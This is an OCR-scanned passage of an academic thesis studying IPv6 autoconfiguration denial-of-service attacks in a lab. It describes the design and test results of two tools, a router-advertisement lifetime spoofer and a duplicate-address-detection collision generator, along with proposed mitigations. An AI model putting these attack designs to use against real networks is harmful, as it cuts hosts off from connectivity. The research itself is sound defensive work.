
Method Name and Description 

void 

setDataLink(jpcap.packet.DatalinkPacket dl) 

Sets the DataLink Header to the ICMPv6 

packet 

void 

setDestinationAddress(java.net.InetGAddress dst) 

Sets the IPv6 Destination Address 

void 

setOptionLength(int bytes) 

Sets the ICMPv6 Option Header Length 

void 

setOptionLinkAddress(byte[] src) 

Sets the ICMPv6 Option Link-Layer Address 

void 

setOptionType(int type) 

Sets the type of the ICMPvG Option Header 

void 

setOverride(boolean or) 

Sets the NA - RA override Flag 

void 

setPrefixLifetime(int valid, int preferred) 

Sets the RA Option Prefix Lifetimes the 
same lifetimes are set for all the prefixes 
advertised by the particular RA. 

Void 

setRouterLifetime(int routerLifetime) 

Sets the RA Router Lifetime 

Void 

setSolicited(boolean sol) 

Sets the NA - RA solicited Flag 

Void 

setSourceAddress(java.net.InetGAddress src) 

Sets the IPv6 Source Address 

Void 

setTargetAddress(java.net.InetGAddress adr) 

Sets the NS - NA Target Address 

Void 

setType(int type) 

Sets the ICMPvG Type 


Table 14. Class ICMP6 methods for modifying/setting ICMPv6 

fields 
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Return Type 

Method Name and Description 

Void 

calculateChecksum() 

calculates and sets the ICMPv6 

checksum 

Void 

calculatePayloadLength() 

calculates and sets the ICMPv6 
Payload length 

Void 

send(jpcap.JpcapSender sender) 

Sends an ICMPv6 packet 

Static boolean 

isICMP6(jpcap.packet.Packet p) 

This method checks whether a Packet 
is an ICMPv6 


Table 15. Other methods of ICMP6 


B. "ROUTER LIFETIMES DECREASER" ATTACK PROGRAM 

The Rid Class makes use of a JpcapCaptor object to 
capture and process incoming packets. The data members of 
the class are shown below in Table 16, and are not part of 
the class's interface. The Interface of the Class includes 
the values for the Fake Router Advertisement provided as 
constants with the default value of zero. 
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static short 

static 

Networkinterface [ ] 
static JpcapCaptor 

static JpcapSender 

static ICMP6 

static boolean 

static int 

static boolean 

static int 

Table 16. 


data member 
networkinterface 

devices 

jpcap 

sender 

fakeRASent 

firstReceived 


snaplen 


(initialized 

to 

2000) 


promise 


(initialized 

to 

false 

non 

promiscuous) 


to_ms 


(initialized 

to 

2 0 ms) 


Class Rid private 


description 

network interface of 
the attack 

the array of the 
interfaces 

the JpcapCaptor 

object 

the JpcapSender 

object 

A member to hold the 
sent (fake) Router 
Advertisement 

a flag that indicates 
if a router 

advertisement has 

already been received 

the value for the 
jpcapCaptor snaplen 

the value for the 
interface's mode 


the value for the 
jpcapCaptor to_ ms 

data members 


33 



1. Program behavior 

The program's main class captures the network traffic 
using the JpcapCaptor object, and then processes the 
packets calling the method loopPacket of the PacketReceiver 
interface of JpcapCaptor. A method "helpO" is implemented 
to handle faulty command line input. Correct command format 
is "java Rid <interface Nr>". 

The implementation of the receivePacket() method of 
the jpcap.PacketReceiver interface processes only the 
router advertisement messages, by calling the private 
method spoofRouter() where the values of the router 
lifetime, the preferred lifetime and the valid lifetime of 
the Prefix Option are modified to the preset constant 
values (default values are zero). After the modification, 
the checksum is calculated and set. Finally, the new packet 
is injected to the network by the JpcapSender object. 

C. "DAD COLLISION GENERATOR" ATTACK PROGRAM 

The Deg class also uses JpcapCaptor and JpcapSender 
objects to receive and send packets. The data members and 
the constants fields of the class are shown in Tables 17 & 
18 . 


34 



Data member 


description 


public 

static 

networkinterface 

the network 

interface 

short 




of the tool 


private 

static 

devices 


the array 

of the 

Networkinterface [ ] 



interfaces 


private 

static 

jpcap 


the JpcapCaptor 

JpcapCaptor 




object 


private 

static 

sender 


the JpcapSender 

JpcapSender 




object 


Random 


generator 


the Random 

generator 





(for random MAC 





address generation 

public 

static 

fakeNA 


the fake 

(colliding 

ICMP 6 




address) 

Neighbor 





Advertisement 

private static int 

snaplen 


the value 

for the 



(initialized 

to 

jpcapCaptor 

snaplen 



2000) 




private 

static 

promise 


the value 

for the 

boolean 


(initialized 

to 

interface's 

mode 



true) 




private static int 

to_ms 


the value 

for the 



(initialized 

to 

jpcapCaptor 

to_ms 


20 msec) 

Table 17. DAD Collision Generator data members 
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constant 


Description (value) 


public LINK_ALL_NODES All nodes Link Layer Address 

static (33:33:00:00:00:01) 

final 

public ALL_NODES_BYTES All nodes IPv6 Address 

static (EE:02 : : 01) 

final 
byte [ ] 

public UNSPEC_BYTES Unspecified IPv6 Address ( : : ) 

static 

final 

byte [ ] 

Table 18. DAD Collision Generator constant fields 

1. Program Behavior 

The class's main method captures the traffic and calls 
the "receivePacket" method for packet processing. The 
"receivePacket" calls the "neighborSpoof" method whenever 
it identifies a neighbor solicitation originating from the 
unspecified address. The "neighborSpoof", using the ICMP6 
class, generates a neighbor advertisement filling the non¬ 
standard ICMP fields. The source and target address are 
copied from the target address of the neighbor 
solicitation, in order for the collision to occur. The 
destination address, according to specifications 
[Thomson98], is the "all nodes address". The solicited flag 
is set to zero and the override flag is set to one. The 
link-layer source address is generated randomly, keeping 
the same first two bytes of the solicitation's source link 
layer address though, ensuring legality of the MAC address. 
This bogus address is used at the target link-layer address 
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option field and in the link layer header. After the 
checksum is recalculated, the fake neighbor advertisement 
is sent to the network. 

A "helpO" method is developed to handle faulty 
command line input. Correct command format is "java Deg 
<interface Nr>". 

Chapter IV presents the results of Router Lifetime 
Decreaser and DAD Collision Generator in a laboratory IPv6 
test bed. 
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IV. DENIAL OF SERVICE ATTACKS DURING HOST 
AUTOCONFIGURATION IN IPV6 


A. LAB CONFIGURATION 


The laboratory used for this research was configured 
to simulate an internetwork consisting of two local 
networks communicating with each other via a router. A 
schematic representation follows in Figure 12. 


a a 


VWriCP 


Fednia 4 




VMlftP 


A A 


Fedora 4 


Figure 12. Lab network setup 
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The hosts of the upper network include one Windows XP 

Pro SP2 PC and two Fedora Core 4 Systems. They are 

connected with a Cisco Catalyst 1924 switch, and the 
network that they form is multi-homed, as it is connected 
to two routers that advertise different prefixes. It is 
configured to roughly simulate a part of a corporate 

intranet; one router serves as the gateway to the rest of 
the intranet and the other to the public internet. 

Assignment of specific roles to these routers is not of 

significance for this particular research, but for 
convenience it is assumed that the Cisco router connects 
the network to the public internet (where the lower network 
exists) and the Juniper is a site-local router. 

The lower network is interconnected via a Netgear 

DS104 hub in order to simulate some of the properties of 
the popular wireless networks and, as mentioned before, the 
Cisco router connects it to the upper network. 

The following tables. Tables 19 & 20, show the OS 

version and MAC addresses of the hosts and routers of the 
test bed, and the prefix parameters advertised by the 

routers. 
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Subnetwork 


Node 


Link-layer address 


Upper 


Lower 


Windows XP Pro SP2 host 
Linux Fedora 4 Nr.l host 
(Linux 2.6.11-1.1369_FC4) 
Linux Fedora 4 Nr.2 host 
(Linux 2.6.11-1.1369_FC4) 
Juniper m7i router 
(JUNOS 7.5R1.12) 

Cisco 2610 router 
(Cisco lOS 12.3(15b)) 
Windows XP Pro host 
Linux Fedora 4 


00-12-3f-ad-f2-b2 

0 0-12-3f-ad-ca-4 6 

00-08-74-41-5e-3f 

00-14-f6-81-20-db 

00-14-9a-c2-4c-ll 

00-14-9a-c2-4c-13 

00-12-3f-ad-cb-0f 

00-12-3f-ad-e7-60 


(Linux 2.6.11-1.1369_FC4) 

Attacker 

Windows XP Pro SP2 

Or 00-16-36-3f-69-2f 

Linux Fedora 4 

(Linux 2.6.11-1.1369_FC4) 

Table 19. Test network Link-Layer Addresses 


Subnetwork 


Upper 

Lower 


Router 

Juniper 
Cisco 
Table 20. 


Prefix 

2006::0/64 
2000:0:0:6/64 
2000:0:0:2/64 
Subnet prefixes 


Lifetimes in ms 
(preferred/valid) 

0x93a80/0x278d00 
or 2592/604.8 sec 
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This lab was used as a test bed for the development 
and analysis of two Denial of Service attacks. The hosts of 
the two local networks simulate the targets, whereas the 
attacker is an external host able to join either network. 

The target of the first attack is the whole set of 
hosts in a local network, and their ability to use their 
global addresses for communication beyond their link; the 
tentative title of the attack being "router lifetimes 
decreaser". The second attack is focused on specific nodes 
that attempt to join a local network, prohibiting their 
interfaces to initialize a valid IPv6 address; the 
tentative title being "DAD collision generator". The 
concept, implementation and results of each attack follow. 

B. "ROUTER LIFETIMES DECREASER" ATTACK 

This attack is an instance of router spoofing. As the 
title suggests, it decreases the router lifetime of the 
router advertisements in order to cause the hosts to remove 
the router from the Default Router List. This procedure is 
repeated for all routers on the link, which results in the 
isolation of the subnet. 

1. Theoretical Foundation of the Attack 
There are three lifetimes related to the 
autoconfiguration procedure for global or site-local 
addresses: the valid prefix lifetime, the preferred prefix 
lifetime and the router lifetime. The parameters that are 
advertised via the router advertisements have been 
discussed for possible security implications, such as an 
attacking node attempting to spoof them and decrease their 
lifetime parameters to very short values in order to 
perform Denial of Service attacks. The valid prefix 
lifetime is protected from specific attack, since an 
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unauthorized router can't change its value to less than two 
hours [Thomson98] and periodic router advertisements are 
sent much more often than that (by default the maximum 
retransmitting time is 3-10 minutes for the routers used 
for this research). Preferred prefix lifetimes do not have 
such limitations. A malicious host acting as a router can 
decrease the preferred lifetime to any short value, even 
zero, and the other hosts will accept the new value. The 
reason for this being that deprecated addresses can be used 
when no preferred address exists [Narten98]. Finally, for a 
possible router lifetime spoofing, no threat mitigation has 
been discussed. 

According to the autoconfiguration specification 
[Thomson98], the router lifetime field of the router 
advertisement applies to its usefulness as a default 
router. This field is a 16-bit unsigned integer, and its 
value is calculated in units of seconds. By default its 
value is three times the maximum router advertisement 
retransmission time. A value of zero means that the router 
should be removed from the host's Router Default List. 

If the Router Default List of a node is empty, the 
node assumes that all destinations are on-link [Narten98]. 
When attempting to send a message, the node examines its 
Neighbor cache for information about the link-layer address 
of the outgoing message. If no corresponding entry is 
found, the node proceeds to address resolution. Address 
resolution consists of sending a neighbor solicitation and 
waiting for a neighbor advertisement. The scope for both of 
these messages is link-local; no results are expected for 
hosts on different networks. Communication between two 
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hosts on different links, when at least one of them has an 
empty default router list, should not be possible. 

2. Design and Development of the Attack Tool 

The attack tool is designed to "sniff" the incoming 
traffic, "build" bogus datagrams, and "inject" them 
properly into the network. 

During the first phase, the program detects and 
processes only the router advertisement datagrams, silently 
ignoring all other received frames. When a router 
advertisement is received its parameters and structure are 
used for packet crafting. 

The bogus router advertisement has only three 
different parameter values as compared to the original. The 
router lifetime and the prefix lifetimes (valid and 
preferred) are set to zero. Although changing the prefix 
lifetimes should not affect the network's operation, it was 
interesting to observe the network's behavior in such 
abnormal situations. Finally, after the new ICMP checksum 
is calculated, a valid router advertisement is injected 
into the network. A simplified timing flow for one host and 
one router is provided in below in Figure 13. 


44 



Fbuter 


Attacker 


Host 


Fbuter 

Advertisement 

Ffetransmisson 

Time 


Fbuter Advertisement 


Fbuter Advertisement 

Fake Fbuter Advertisement ^ 

Fbuter Advertisement 

hake Fbuter Advertisement ^ 

Fbuter Advertisement 

hake Fbuter Advertisement ^ 


hake Fbuter Advertisement ^ 



Figure 13. Timing diagram of the Router Lifetime Decreaser 

attack 


3. Available Procedures for Attack Effectiveness 
Testing 

Ethereal was installed on all hosts to observe and 

analyze the network traffic. 

The directly affected parameters of the aforementioned 
attack include the Default Router List and Prefix List 

[Narten98]. Each operating system uses different data 

structures to hold these conceptual parameters. The 

commands used to obtain such information follow, 
a. Windows XP Pro 

The "ipconfig" command displays the valid 
addresses. Eigure 14 displays the command output of the 
Windows client of the upper network. The valid addresses 
(deprecated and preferred) and the two routers' link-local 
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addresses are displayed. The default router list consists 
of the displayed default gateways. 


Windows IP Configuration 


Ethernet adapter Local Area Connection: 


Connection-specific DNS Suffix . : 

131.120.65.204 
255.255.255.248 
2000::6:ld05:c477:f9bl:29al 
2000::6:212:3fff:fead:f2b2 
2006::ld05:c477:f9bl:29al 
2006::c0b7:ec:e7e0:50b4 
2006::5f9:fa5e:e7cb:c67f 
2006::693d:edl9:9bd2:8d04 
2006::808e:lc70:a648:a2d3 
2006::494c:b292:f529:31a7 
2006::dc23:25ff:1427:7db8 
2006::212:3fff:fead:f2b2 
fe80::212:3fff:fead:f2b2%4 
131.120.65.201 
fe80::204:9aff:fec2:4cll 
fe80::214:f6ff:fe81:20db 


Tunnel adapter Teredo Tunneling Pseudo-Interface: 
Connection-specific DNS Suffix . : 

IP Address.: fe80 :: 5445 : 5245 : 444f%5 

Default Gateway . : 


Tunnel adapter Automatic Tunneling Pseudo-Interface: 
Connection-specific DNS Suffix : 

IP Address.: fe80 : : 5efe : 131.120.65.204%2 

Default Gateway . : 


Figure 14. Normal output of "ipconfig" 


It Aoaress. . . 
Subnet Mask . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
IP Address. . . 
Default Gateway 
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The addresses' lifetimes (and accordingly the 
prefixes' lifetimes) can be displayed with the "ipv6 if" 
command. The output for the appropriate interface of the 
upper Windows is illustrated in Figure 15. Temporary are 
the anonymous addresses [NartenOl]. 


Interface 4: Ethernet: Local Area Connection 
Quid {BF8D9728-8E8A-4BDB-8DAE-F6962E7FBE49} 
uses Neighbor Discovery 
uses Router Discovery 

link-layer address: 00-12-3f-ad-f2-b2 

preferred global 2000::6:ld05:c477:f9bl:29al, life 
6dl8h9ml8s/18h6m31s (temporary) 

preferred global 2000::6:212:3fff:fead:f2b2, life 
29d23h57m54s/6d23h57m54s (public) 

preferred global 2006::ld05:c477:f9bl:29al, life 
6dl4hl5m2s/14hl2ml5s (temporary) 

deprecated global 2006::c0b7:ec:e7e0:50b4, life 5dl4hl7m53s/0s 
(temporary) 

deprecated global 2006::5f9:faSe:e7cb:c67f, life 
4dl4h20m45s/0s (temporary) 

deprecated global 2006::693d:edl9:9bd2:8d04, life 
3dl4h23m36s/0s (temporary) 

deprecated global 2006::808e:lc70:a648:a2d3, life 
2dl4h26m28s/Os (temporary) 

deprecated global 2006::494c:b292:f529:31a7, life 38h29ml9s/0s 
(temporary) 

deprecated global 2006::dc23:25ff:1427:7db8, life 14h32mlls/0s 
(temporary) 

preferred global 2006::212:3fff:fead:f2b2, life 
29d23h59m40s/6d23h59m40s (public) 

preferred link-local fe80::212:3fff:fead:f2b2, life infinite 
multicast interface-local ff01::l, 1 refs, not reportable 
multicast link-local ff02::l, 1 refs, not reportable 

multicast link-local ff02::1:ffad:f2b2, 3 refs, last reporter 

multicast link-local ff02::1:ff27:7db8, 1 refs, last reporter 

multicast link-local ff02::1:ff29:31a7, 1 refs, last reporter 

multicast link-local ff02::1:ff48:a2d3, 1 refs, last reporter 

multicast link-local ff02::1:ffd2:8d04, 1 refs, last reporter 

multicast link-local ff02::1:ffcb:c67f, 1 refs, last reporter 

multicast link-local ff02::1:ffeO:50b4, 1 refs, last reporter 

multicast link-local ff02::1:ffbl:29al, 2 refs, last reporter 

link MTU 1500 (true link MTU 1500) 
current hop limit 64 

reachable time 22000ms (base 30000ms) 
retransmission interval 1000ms 

Figure 15. Normal output of "ipv6 if" 
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Additional commands to observe a client's 
behavior are the "ipv6 rc" for the routing table and the 
"ipv6 nc" for the neighbor cache. 

The "ping" command can be used to test 
connectivity. 

b. Linux 

The "ip -6 addr show" displays information on the 
assigned addresses and their lifetimes (Figure 16). 


2: ethO: <BROADCAST,MULTICAST,UP> mtu 1500 qlen 1000 

inet6 2000::6:208:74ff:fe41:5e3f/64 scope global dynamic 
valid_lft 2591856sec preferred_lft 604656sec 
inet6 2000::2:208:74ff:fe41:5e3f764 scope global deprecated 
dynamic 

valid_lft 213590sec preferred_lft -1773610sec 
inet6 2006::208:74ff:fe41:5e3f/64 scope global dynamic 
valid_lft 2591983sec preferred_lft 604783sec 
inet6 fe80::208:74ff:fe41:5e3f764 scope link 
valid_lft forever preferred_lft forever 

Figure 16. Normal output of "ip -6 addr show" 


The "ip -6 route show" displays the routing 
table; destination cache and default routers are shown in 
Figure 17. 
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2000 : 0 : 0 :2 : :/64 dev ethO proto kernel metric 256 mtu 1500 advmss 
1440 metric 10 4294967295 

2000 : 0 : 0 : 6 : :/64 dev ethO proto kernel metric 256 mtu 1500 advmss 
1440 metric 10 4294967295 

2006 : :/64 dev ethO proto kernel metric 256 mtu 1500 advmss 1440 
metric 10 4294967295 

fe80::/64 dev ethO metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

fe80::/64 dev ethl metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

ff00::/8 dev ethO metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

ff00::/8 dev ethl metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

default via fe80::214:f6ff:fe81:20db dev ethO proto kernel metric 

1024 expires 66sec mtu 1500 advmss 1440 metric 10 64 

default via fe80::204:9aff:fec2:4cll dev ethO proto kernel metric 

1024 expires 1723sec mtu 1500 advmss 1440 metric 10 64 

unreachable default dev lo proto none metric -1 error -101 metric 

10 255 


Figure 17. Normal output of "ip -6 route show" 


Additionally, the command "ip -6 neigh show" displays 
the neighbor cache of a Linux host, and the "ping6" command 
is the IPv6 equivalent of "ping". 

4. Results of the Attack 

This attack was tested on both sub-networks. The 
results were similar. Detailed results for the upper 
network will be presented. 

After the attacking program started and both of the 
routers sent advertisements, the "Router Prefix Decreaser" 
successfully decreased the routers' lifetimes and the 
prefix preferred lifetimes to zero. Ethereal captures of 
the legitimate router advertisement and the fake router 
advertisement are shown in Figures 18 & 19 respectively. 
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No. . I Time j Source | Destination 

139159 2192534.204 fe80::214:f6ff:fe81:20db ff02::1 




139160 2192547.147 feSO::204:9a 


139161 2192547.165 fe80::204:9aff:fec2:4cll ff02::l 

139165 2192562.208 feSO::214:f6ff:fe81:20db ff02::l 


< ; ml 

Cur hop limit: 64 
+ Flags: 0x00 


Router lifetime: 1800 


Reachable time: 0 
Retrans time: 0 
a ICMPV6 options 
a ICMPV6 options 
Q ICMPV6 options 

Type: 3 (prefix information) 
Length: 32 bytes (4) 

Prefix length: 64 
a Flags: OxcO 

valid lifetime: 0x00278d00 
Preferred lifetime: 0x00093a80 
Prefix: 2000:0:0:6:: 


< 


0030 

00 

00 

00 

00 

00 

01 

86 

00 

2g 

0040 

00 

00 

00 

00 

00 

00 

01 

01 

00 

0050 

00 

00 

00 

00 

05 

dc 

03 

04 

40 

0060 

3a 

80 

00 

00 

00 

00 

20 

00 

00 

0070 

00 

00 

00 

00 

00 

00 





Figure 18. Ethereal 


et 40 00 00 00 
04 9a c2 4c 11 05 01 
cO 00 27 8d 00 00 09 
00 00 00 00 06 00 00 


capture of the 





legitimate Router 


Advertisement 


No. . 

Time 1 

Source 


Destination 

139159 

2192534.204 

f e80: 

:214:f6ff:fe81:20db 

ff02: 

:1 

139160 

2192547.147 

f e80: 

:2 04:9aff:fec2:4 cll 

ff02: 

:1 

139161 

2192547.165 

feSO: 

:204:9aff:tGc2:4cll 

ff02: 

:l 

1139165 

2192562.208 

feSO: 

:214:f6ff:fe81:20db 

ff02: 

:1 

< 





1 


a Flags: 0x00 

Router lifetime: 0 
Reachable time: 0 
Retrans time: 0 
a ICMPV6 options 
a ICMPV6 options 
□ ICMPV6 options 

Type: 3 (prefix information) 
Length: 32 bytes (4) 
prefix length: 64 
a Flags: OxcO 

valid lifetime: 0x00000000 
Preferred lifetime: 0x00000000 
prefix: 2000:0:0:6:: 


< 


0000 

133 

33 

00 

00 

00 

01 

00 

04 

9a 

c2 

4c 

11 

86 

dd| 

6e 

00 

■33 


0010 

00 

00 

00 

40 

3a 

TT 

f e 

80 

00 

00 

00 

00 

00 

00 

02 

04 


®:. 

0020 

9a 

ff 

fe 

c2 

4c 

11 

ff 

02 

00 

00 

00 

00 

00 

00 

00 

00 


. L. 

0030 

00 

00 

00 

00 

00 

01 

86 

00 

fd 

a7 

40 

00 

00 

00 

00 

00 


.®. 

0040 

00 

00 

00 

00 

00 

00 

01 

01 

00 

04 

9a 

c2 

4c 

11 

05 

01 


.L. . . 

0050 

00 

00 

00 

00 

05 

dc 

03 

04 

40 

cO 

00 

00 

00 

00 

00 

00 


. ®. 

0060 

00 

00 

00 

00 

00 

00 

20 

00 

00 

00 

00 

00 

00 

06 

00 

00 



0070 

00 

00 

00 

00 

00 

00 
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The routers' link-local addresses do not show up 
anymore as Default Gateways in all clients as the Default 
Router List is empty. All connectivity tests from and to 
hosts of the lower network are negative. 


Interface 4: Ethernet: Local Area Connection 
Quid {BF8D9728-8E8A-4BDB-8DAE-F6962E7FBE49} 
uses Neighbor Discovery 
uses Router Discovery 

link-layer address: 00-12-3f-ad-f2-b2 

deprecated global 2000::6:ld05:c477:f9bl:29al, life 118ml8s/0s 
(temporary) 

deprecated global 2000::6:212:3fff:fead:f2b2, life 118ml8s/0s 
(public) 

deprecated global 2006::ld05:c477:f9bl:29al, life 119m52s/0s 
(temporary) 

deprecated global 2006::c0b7:ec:e7e0:50b4, life 119m52s/0s 
(temporary) 

deprecated global 2006::5f9:faSe:e7cb:c67f, life 119m52s/0s 
(temporary) 

deprecated global 2006::693d:edl9:9bd2:8d04, life 119m52s/0s 
(temporary) 

deprecated global 2006::808e:lc70:a648:a2d3, life 119m52s/0s 
(temporary) 

deprecated global 2006::494c:b292:f529:31a7, life 119m52s/0s 
(temporary) 

deprecated global 2006::dc23:25ff:1427:7db8, life 119m52s/0s 
(temporary) 

deprecated global 2006::212:3fff:fead:f2b2, life 119m52s/0s 
(public) 

preferred link-local fe80::212:3fff:fead:f2b2, life infinite 
multicast interface-local ff01::l, 1 refs, not reportable 
multicast link-local ff02::l, 1 refs, not reportable 

multicast link-local ff02::1:ffad:f2b2, 3 refs, last reporter 

multicast link-local ff02::1:ff27:7db8, 1 refs, last reporter 

multicast link-local ff02::1:ff29:31a7, 1 refs, last reporter 

multicast link-local ff02::1:ff48:a2d3, 1 refs, last reporter 

multicast link-local ff02::1:ffd2:8d04, 1 refs, last reporter 

multicast link-local ff02::1:ffcb:c67f, 1 refs, last reporter 

multicast link-local ff02::1:ffeO:50b4, 1 refs, last reporter 

multicast link-local ff02::1:ffbl:29al, 2 refs, last reporter 

link MTU 1500 (true link MTU 1500) 
current hop limit 64 

reachable time 22000ms (base 30000ms) 
retransmission interval 1000ms 
DAD transmits 1 

Figure 20. Windows Addresses after the Router Lifetime 

Decreaser attack 
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All global addresses appear deprecated, with a valid 
lifetime of two hours (as expected), but connectivity with 
global addresses between Windows clients on-link (the 
attacking host was used for this test) is not affected. 
Windows hosts use deprecated addresses to exchange neighbor 
discovery messages for address resolution on-link. 

However, Linux clients lost connectivity (using global 
addresses) even with neighbors. The result of the empty 
Default Router List combined with the expired preferred 
lifetime of all prefixes was an updated Routing Table with 
no entry for the advertised prefixes. Linux hosts treated 
destinations with the deprecated prefix as unreachable. 
This is an implementation defect in Linux with respect to 
the IP standard. According to the neighbor discovery 
specification [Narten98], if the Default Router List is 
empty, the sender assumes that the destination is on-link; 
and if the Neighbor Cache doesn't contain a corresponding 
entry. Address Resolution is initiated. 


fe80::/64 dev ethO metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

fe80::/64 dev ethl metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

ff00::/8 dev ethO metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

ff00::/8 dev ethl metric 256 mtu 1500 advmss 1440 metric 10 
4294967295 

unreachable default dev lo proto none metric -1 error -101 metric 
10 255 


Figure 21. Routing Table of Linux host after the Router 

Lifetime Decreaser attack 
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Testing the Router Lifetime Decreaser without 
decreasing the Preferred Prefix did not affect the ability 
of Linux clients to communicate with other hosts using 
their global addresses, as there was an entry for the 
advertised prefixes in the routing table. 

Testing the program by zeroing only the prefix 
lifetimes did not affect communications at all, as 
expected. 

5. Threat Mitigation 

IPv6 specification proposes that authentication 
headers should be incorporated in router advertisement 
messages. Further studies on IPsec authentication 
mechanisms for IPv6 bring out bootstrapping and scalability 
issues of IPsec key management [ArkkoOS]. 

The particular attack could be avoided if hosts would 
ignore successive router advertisements from the same 
router within the Minimum Router Advertisement Interval. 
The value of this parameter can't be less than three 
seconds [Narten98], yet while testing the attack, hosts 
received the bogus advertisement within fractions of a 
second from the legitimate one, and they processed it. 

C. "DAD COLLISION GENERATOR" ATTACK 

This attack attempts to deny service to nodes that 
enter the network and are therefore required to perform 
duplicate address detection (DAD) for the autoconfigured 
addresses by responding to all DAD detected. This threat 
was identified in the autoconfiguration specification 
[Thomson98] and in the neighbor discovery threats 
informational RFC [Nikander04]. 
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1. Theoretical Foundation of the Attack 

This attack requires that the attacker is able to 
listen to traffic destined to other nodes and to multicast 
traffic for multicast groups to which the attacker does not 
belong. If this is the case, the attacker can listen to the 
neighbor solicitation messages that originate from the 
unspecified address and identify those messages as DAD 
procedure. By responding to all of those messages and 
indicating that the target address is taken should cause 
joining hosts to be unable to initialize an IPv6 address. 

This Denial of Service attack is a potential threat in 
environments where not all nodes are trusted, or there 
exists a possibility that a host could get compromised. 

2. Design and Development of the Attack Tool 

The software tool developed to implement this attack 
functions in three stages. 

The first stage is network sniffing, in promiscuous 
mode, to capture the datagrams sent to perform DAD. Those 
are network solicitation ICMPv6 messages originating from 
the unspecified address ( : : ) . The target address of this 
message is stored, as this will be used as the source 
address that the attacker will use to create the collision. 

The second stage is the crafting of a legitimate 
neighbor advertisement such that the source and the target 
addresses are equal to the stored target address from the 
captured neighbor solicitation. For obvious (to the 
attacker) reasons, the link-layer address that is provided 
in this neighbor advertisement is a randomly generated MAC 
address that is very carefully manufactured, though, to 
simulate a legitimate address (limitations in the 
randomness of the first three bytes are considered). 
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Finally, the manufactured fake neighbor advertisement 
is properly multicasted according to the neighbor discovery 


specification. Figures 22 & 23 
collision generator terminates 
procedure. 


illustrate how the DAD 
the autoconfiguration 



Figure 22. DAD Collision Generator forces termination of 
Link-Local Address Autoconfiguration (after Ref 

[Davies02]) 
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Derive statslsss address; 
Prefix + Interbce ID 

_ ;; _ 

Send multicast Neighbor 
Solicitation with Target Address 
set to derived stateless address. 


Figure 23. DAD Collision Generator forces termination of 
Global Address Autoconfiguration (after Ref 

[Davies02]) 

3. Available Procedures for Attack Effectiveness 
Testing 

The direct results of the attack should be displayed 
in the assigned address list (no assigned addresses). The 
"ipv6 if" command for Windows and the "ip -6 addr show" for 
Linux should be enough to verify success of the attack. 

4. Results of the Attack 

This attack was tested on the lower network, since it 
provides all nodes the ability to sniff all on-link 
traffic. 

According to the autoconfiguration process [Thomson98] 

DAD should be performed every time a host joins a network, 

or when one of its interfaces is initialized. Testing was 

executed either by disconnecting and reconnecting the 
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Ethernet cable, or by running commands that would reset the 
client's interfaces; that is, "ipv6 renew" for Windows, and 
"ifconfig [interface] [down|up]" for Linux. In Figure 24, 
the Ethereal capture shows one neighbor solicitation of the 
initializing interface, and Figure 25 shows a corresponding 
fake neighbor advertisement from the attacking host, 
implying a collision. 
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The DAD collision generator was successful for all 
clients' global addresses. The Windows client was not able 
to initialize an IPv6 (either local or global) address 
while entering the network. The Linux client did not 
perform DAD for the link-local address, thus maintaining 
connectivity on-link. 

5. Threat Mitigation. 

The Internet Engineering Task Force has proposed the 
Secure Neighbor Discovery Protocol [ArkkoOS], with which 
Cryptographically Generated Addresses are used to make sure 
that the sender of a neighbor discovery message is the 
"owner" of the claimed address [AuraOS] . SEND and CGA are, 
as of August 2006, proposed standards, and no 
implementation was found for the operating systems of the 
laboratory test bed. 

If authentication of hosts claiming a tentative 
address can't be achieved, stateful autoconfiguration with 
the use of a DHCPv6 server could protect joining nodes from 
this attack. 


The following chapter 
derived from the results of 
autoconfiguration procedure, 
the area of securing this new 


summarizes the conclusions 
the two DOS attacks to the 
and proposes future work in 
IPv6 feature. 


58 



V. 


CONCLUSIONS AND FUTURE WORK 


This thesis work developed an extension to a Java 
networking library in order to provide support for the 
crafting and capture of ICMPv6 neighbor discovery messages, 
and implemented two conceptually known threats to the IPv6 
host autoconfiguration process. While the most serious 
effects of the attacks were anticipated, a couple of 
compliance defects in the IPv6 implementation for Linux 
were identified. 

A. CONCLUSIONS 

The major findings from this thesis research are: 

• The new features of IPv6 autoconfiguration are 

focused on user convenience. As always, there is 
a trade-off between convenience and security. 
Both tested DOS attacks were successful. IPv6 
autoconfiguration in environments with non¬ 

trustworthy hosts is prone to attacks, and if 
host authentication cannot be achieved, 

transition to stateful autoconfiguration with the 
use of trusted DHCPv6 servers should be 

considered. 

• The new specifications present authentication 
based on IPsec as the solution to the security 
threats. Since IPsec key management does not 
scale well in public networks [ArkoOS], other 
methods of authentication need to be developed 
and tested. 

• Besides authentication, an IPv6 implementation 
could incorporate rules that abide by the 
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specification which would protect it from 
potential threats. For example, the Router 
Lifetime Decreaser attack may be unsuccessful if 
the host observed a rule to ignore successive 
router advertisements originating from the same 
router, and less than the Minimum Router 
Advertisement Interval (three seconds according 
to the IPv6 specification [Narden98]) apart. 

• Most existing IPv6 implementations are still 
intended for research and development purposes. 
Even commercial operating systems, like Microsoft 
Windows, state that the provided IPv6 software 
contains pre-release code and must not to be used 
in a production environment. Therefore, it is not 
surprising that two compliance defects were 
identified for the Linux IPv6 stack during this 
limited research; Duplicate Address Detection is 
not performed for the link-local generated 

address and deprecated network identifiers are 
removed from the routing cache. It could be 
assumed that compliance defects exist in a larger 
scale compared to the operational IPv4, and there 
are defects that are not yet identified. 

B. FUTURE WORK 

An extension to the Jpcap library to support more IPv6 
protocols and procedures would provide Java developers more 
capabilities in low-level network programming for 
evaluating IPv6 security. It would also contribute to the 
study of the behavior of various IPv6 implementations in 
non-trivial situations. Possible incorporation of IPsec 
authentication headers in environments that provide open 
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source support of IPsec (KAME project for BSD variants, 
Linux Kernel 2.5 and later among others) may be considered. 

The implementation of all identified threats to the 
host autoconfiguration procedure, and to other IPv6 
introduced features, would help in testing the efficiency 
of the proposed solutions for threat mitigation, as IPsec 
and SeND. 
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APPENDIX A. CLASS ICMP6 JAVA CODE 


package ICMP6; 

import java.net.InetGAddress; 
import java.net.UnknownHostException; 
import jpcap.Networkinterface; 
import jpcap.packet.DatalinkPacket; 
